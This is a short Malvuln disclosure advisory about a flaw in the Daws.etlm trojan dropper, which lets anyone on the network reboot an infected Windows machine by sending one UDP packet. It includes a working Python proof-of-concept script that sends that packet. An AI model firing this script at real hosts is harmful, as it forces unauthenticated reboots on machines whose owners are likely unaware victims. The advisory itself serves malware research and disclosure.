Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/a0479e18283ed46e8908767dd0b40f8f.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan-Dropper.Win32.Daws.etlm
Vulnerability: Remote Unauthenticated System Reboot
Description: Daws.etlm drops an executable named "MSWDM.EXE" under Windows dir and listens on UDP port 139. Unauthenticated third-party attackers can send a single uppercase char "D" datagram packet to the infected machine causing it to reboot. Basic testing using other upper/lower case chars from A-Z or numbers 0-9 did not reveal anything else of interest.
Type: PE32
MD5: a0479e18283ed46e8908767dd0b40f8f
Vuln ID: MVID-2021-0111
Dropped files: MSWDM.EXE
Disclosure: 02/25/2021


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=139

def doit():
    try:
        s=socket(AF_INET, SOCK_DGRAM) 
        s.connect((MALWARE_HOST,PORT))
    except Exception as e:
        print(str(e))

    s.send("D")
    s.close()

    print("Trojan-Dropper.Win32.Daws.etlm / Remote Unauthenticated System Reboot")
    print("MD5: a0479e18283ed46e8908767dd0b40f8f")
    print("By Malvuln");

if __name__=="__main__":
    doit()


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